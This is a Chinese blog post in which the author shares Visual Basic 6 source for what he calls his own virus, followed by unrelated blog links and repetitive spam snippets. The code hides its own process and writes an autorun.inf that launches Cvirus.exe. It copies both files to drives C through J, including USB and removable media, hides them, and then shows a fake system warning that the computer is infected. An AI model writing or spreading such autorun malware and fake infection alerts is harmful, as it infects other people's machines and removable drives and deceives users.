VB编程
2010年05月13日
正在工作中,,,,,,有空就写入我最近编写的病毒源代码.解释下,此病毒属于自动制造垃圾到各个盘(电脑硬盘CDEF等等,也可以制造到可移动的U盘,MP3,MP4,移动硬盘等)
我是 CRole
大家一起学习VB
以下是 代码:
Sub Main()
App.TaskVisible = False '隐藏进程
On Error Resume Next
Open App.Path & "autorun.inf" For Output As #1
Print #1, "[AutoRun]"
Print #1, "open = Cvirus.exe"
Print #1, "shellexecute = Cvirus.exe"
Print #1, "shell\Auto\commang = Cvirus.exe"
Close #1
'========================================
Dim c1, c2, c3, c4, c5, c6, c7, c8, c9, c10, c11, c12, c13, _
c14, c15, c16, c17, c18, c19, c20, c21, c22, c23, c24, c25, _
c26, c27, c28, c29, c30, c31, c32, c33, c34, c35, c36, c37, c38, c39, c40
'----------------------------------------在C盘生成空的Cvirus.exe文件
c1 = App.Path & "\Cvirus.exe"
c2 = "c:\Cvirus.exe"
FileCopy c1, c2
'----------------------------------------在C盘生成autorun.inf文件
c3 = App.Path & "\autorun.inf"
c4 = "c:\autorun.inf"
FileCopy c3, c4
'----------------------------------------在D盘生成空的Cvirus.exe文件
c5 = App.Path & "\Cvirus.exe"
c6 = "d:\Cvirus.exe"
FileCopy c5, c6
'----------------------------------------在D盘生成autorun.inf文件
c7 = App.Path & "\autorun.inf"
c8 = "d:\autorun.inf"
FileCopy c7, c8
'----------------------------------------在E盘生成空的Cvirus.exe文件
c9 = App.Path & "\Cvirus.exe"
c10 = "e:\Cvirus.exe"
FileCopy c9, c10
'----------------------------------------在E盘生成autorun.inf文件
c11 = App.Path & "\autorun.inf"
c12 = "e:\autorun.inf"
FileCopy c11, c12
'----------------------------------------在F盘生成空的Cvirus.exe文件
c13 = App.Path & "\Cvirus.exe"
c14 = "f:\Cvirus.exe"
FileCopy c13, c14
'----------------------------------------在F盘生成autorun.inf文件
c15 = App.Path & "\autorun.inf"
c16 = "f:\autorun.inf"
FileCopy c15, c16
'----------------------------------------在G盘生成空的Cvirus.exe文件
c17 = App.Path & "\Cvirus.exe"
c18 = "g:\Cvirus.exe"
FileCopy c17, c18
'----------------------------------------在G盘生成autorun.inf文件
c19 = App.Path & "\autorun.inf"
c20 = "g:\autorun.inf"
FileCopy c19, c20
'----------------------------------------在H盘生成空的Cvirus.exe文件
c21 = App.Path & "\Cvirus.exe"
c22 = "h:\Cvirus.exe"
FileCopy c21, c22
'----------------------------------------在H盘生成autorun.inf文件
c23 = App.Path & "\autorun.inf"
c24 = "h:\autorun.inf"
FileCopy c123, c24
'----------------------------------------在I盘生成空的Cvirus.exe文件
c25 = App.Path & "\Cvirus.exe"
c26 = "i:\Cvirus.exe"
FileCopy c25, c26
'----------------------------------------在I盘生成autorun.inf文件
c27 = App.Path & "\autorun.inf"
c28 = "i:\autorun.inf"
FileCopy c27, c28
'----------------------------------------在J盘生成空的Cvirus.exe文件
c29 = App.Path & "\Cvirus.exe"
c30 = "j:\Cvirus.exe"
FileCopy c29, c30
'----------------------------------------在J盘生成autorun.inf文件
c31 = App.Path & "\autorun.inf"
c32 = "j:\autorun.inf"
FileCopy c31, c32
'----------------------------------------隐藏所有生成的文件
Call SetAttr(App.Path & "\Cvirus.exe", vbHidden)
Call SetAttr(App.Path & "\autorun.inf", vbHidden)
Call SetAttr("c:\Cvirus.exe", vbHidden)
Call SetAttr("c:\autorun.inf", vbHidden)
Call SetAttr("d:\Cvirus.exe", vbHidden)
Call SetAttr("d:\autorun.inf", vbHidden)
Call SetAttr("e:\Cvirus.exe", vbHidden)
Call SetAttr("e:\autorun.inf", vbHidden)
Call SetAttr("f:\Cvirus.exe", vbHidden)
Call SetAttr("f:\autorun.inf", vbHidden)
Call SetAttr("g:\Cvirus.exe", vbHidden)
Call SetAttr("g:\autorun.inf", vbHidden)
Call SetAttr("h:\Cvirus.exe", vbHidden)
Call SetAttr("h:\autorun.inf", vbHidden)
Call SetAttr("i:\Cvirus.exe", vbHidden)
Call SetAttr("i:\autorun.inf", vbHidden)
Call SetAttr("j:\Cvirus.exe", vbHidden)
Call SetAttr("j:\autorun.inf", vbHidden)
If MsgBox("警告:您的计算机受到了病毒的入侵是否立即进行杀毒!", vbQuestion + vbYesNo, "系统提示") = vbYes Then
Form1.Show
End If
End Sub
===========================================================
发表评论
-
Firefox插件开发概述
2012-01-20 01:03 930Firefox插件开发概述 2011年02月15日 本文 ... -
思考mysql内核之初级系列10---mysql内核调试方法(摘自老杨)
2012-01-20 01:03 607思考mysql内核之初级系列10---mysql内核调试方法( ... -
windows server 2003 下项目配置步骤
2012-01-20 01:03 667windows server 2003 下项目 ... -
Microsoft SharePoint Portal Server 2001简介
2012-01-20 01:03 463Microsoft SharePoint Portal Ser ... -
PE文件格式详解(上)
2012-01-20 01:03 646PE文件格式详解(上) 2010 ... -
中国各省美丽女孩分析
2012-01-19 08:52 603中国各省美丽女孩分析 2010年10月24日 关于美女的 ... -
论文范例
2012-01-19 08:52 470论文范例 2010年08月14日 ... -
大同美女
2012-01-19 08:52 1062大同美女 2011年03月10日 ... -
老外眼中中国女性:眼光高野心大
2012-01-19 08:52 484老外眼中中国女性:眼光 ... -
全国各地的美女都是怎样的?
2012-01-19 08:51 625全国各地的美女都是怎样的? 2011年05月13日 全 ... -
Android 环境搭建、HelloWorld以及常见错误处理
2012-01-17 01:21 709Android 环境搭建、HelloWorld以及常见错误处理 ... -
使用Eclipse+CDT+MinGW32进行C++开发
2012-01-17 01:21 708使用Eclipse+CDT+MinGW32进行 ... -
[转]win7搭建Android开发 个人测试成功
2012-01-17 01:21 617[转]win7搭建Android开发 个人测试成功 2011 ... -
vb 编写的qq查询交谈工具源码
2012-01-15 20:03 581vb 编写的qq查询交谈工 ... -
vb QQ消息辅助连发软件代码(vb)
2012-01-15 20:02 1771vb QQ消息辅助连发软件代码(vb) 2009年12月27 ... -
手把手教你用vb6.0写一个桌面网址小软件
2012-01-15 20:02 688手把手教你用vb6.0写一个桌面网址小软件 2009年11月 ... -
QQ日志刷人气工具 VB源码
2012-01-15 20:02 697QQ日志刷人气工具 VB源码 2010年01月20日 ' ... -
判断数字字符8位
2012-01-11 12:12 684判断数字字符8位 2011年04月01日 //判断是否是 ... -
oa之歌-咸鱼凤凰-iteye技术网站
2012-01-11 12:12 624oa之歌-咸鱼凤凰-iteye技术网站 2011年04月01 ... -
JavaScript 运算
2012-01-11 12:12 550JavaScript 运算 2011年04月 ...
相关推荐
VB编程源代码 50在系统托盘中增加一个光驱按钮VB编程源代码 50在系统托盘中增加一个光驱按钮VB编程源代码 50在系统托盘中增加一个光驱按钮VB编程源代码 50在系统托盘中增加一个光驱按钮VB编程源代码 50在系统托盘中...
VB编程助手版 VB编程助手版 VB编程助手版 VB编程助手版
VB编程经验手册VB编程经验手册VB编程经验手册VB编程经验手册VB编程经验手册
VB编程指南VB编程指南VB编程指南VB编程指南VB编程指南VB编程指南
vb编程实例的电子书chm
本书是学习VB编程的一本很好的教材,它侧重于用实例讲解如何编写一些高级的VB程序,如“用VB6.0实现动态增减控件”、“用VB制作即时动态按钮”等,特别对高级编程人员进一步提高自己的能力有很大的好处,同时由于书...
机械工程力学应用计算与VB编程实例(源程序).rar
VB编程源代码 90监视程序VB编程源代码 90监视程序VB编程源代码 90监视程序VB编程源代码 90监视程序VB编程源代码 90监视程序VB编程源代码 90监视程序VB编程源代码 90监视程序VB编程源代码 90监视程序VB编程源代码 90...
VB编程源代码 67拨号上网VB编程源代码 67拨号上网VB编程源代码 67拨号上网VB编程源代码 67拨号上网VB编程源代码 67拨号上网VB编程源代码 67拨号上网VB编程源代码 67拨号上网VB编程源代码 67拨号上网VB编程源代码 67...
VB编程入门教程
VB编程源代码 44旋转文字VB编程源代码 44旋转文字VB编程源代码 44旋转文字VB编程源代码 44旋转文字VB编程源代码 44旋转文字VB编程源代码 44旋转文字VB编程源代码 44旋转文字VB编程源代码 44旋转文字VB编程源代码 44...
VB编程源代码 07悬浮窗体VB编程源代码 07悬浮窗体VB编程源代码 07悬浮窗体VB编程源代码 07悬浮窗体VB编程源代码 07悬浮窗体VB编程源代码 07悬浮窗体VB编程源代码 07悬浮窗体VB编程源代码 07悬浮窗体VB编程源代码 07...
VB编程源代码 02图形窗体VB编程源代码 02图形窗体VB编程源代码 02图形窗体VB编程源代码 02图形窗体VB编程源代码 02图形窗体VB编程源代码 02图形窗体VB编程源代码 02图形窗体VB编程源代码 02图形窗体VB编程源代码 02...
VB编程源代码 56收发电子邮件VB编程源代码 56收发电子邮件VB编程源代码 56收发电子邮件VB编程源代码 56收发电子邮件VB编程源代码 56收发电子邮件VB编程源代码 56收发电子邮件VB编程源代码 56收发电子邮件VB编程源...
VB编程源代码 86启动控制面板VB编程源代码 86启动控制面板VB编程源代码 86启动控制面板VB编程源代码 86启动控制面板VB编程源代码 86启动控制面板VB编程源代码 86启动控制面板VB编程源代码 86启动控制面板VB编程源...
VB 编程词典,VB 编程词典,VB 编程词典,VB 编程词典,VB 编程词典,VB 编程词典,VB 编程词典,VB 编程词典,所上传的都是TXT 百度云链接
VB编程源代码 76在VB中切换中文输入法VB编程源代码 76在VB中切换中文输入法VB编程源代码 76在VB中切换中文输入法VB编程源代码 76在VB中切换中文输入法VB编程源代码 76在VB中切换中文输入法VB编程源代码 76在VB中切换...
VB编程源代码 93鼠标取词VB编程源代码 93鼠标取词VB编程源代码 93鼠标取词VB编程源代码 93鼠标取词VB编程源代码 93鼠标取词VB编程源代码 93鼠标取词VB编程源代码 93鼠标取词VB编程源代码 93鼠标取词VB编程源代码 93...
VB编程源代码 47完全测试声卡VB编程源代码 47完全测试声卡VB编程源代码 47完全测试声卡VB编程源代码 47完全测试声卡VB编程源代码 47完全测试声卡VB编程源代码 47完全测试声卡VB编程源代码 47完全测试声卡VB编程源...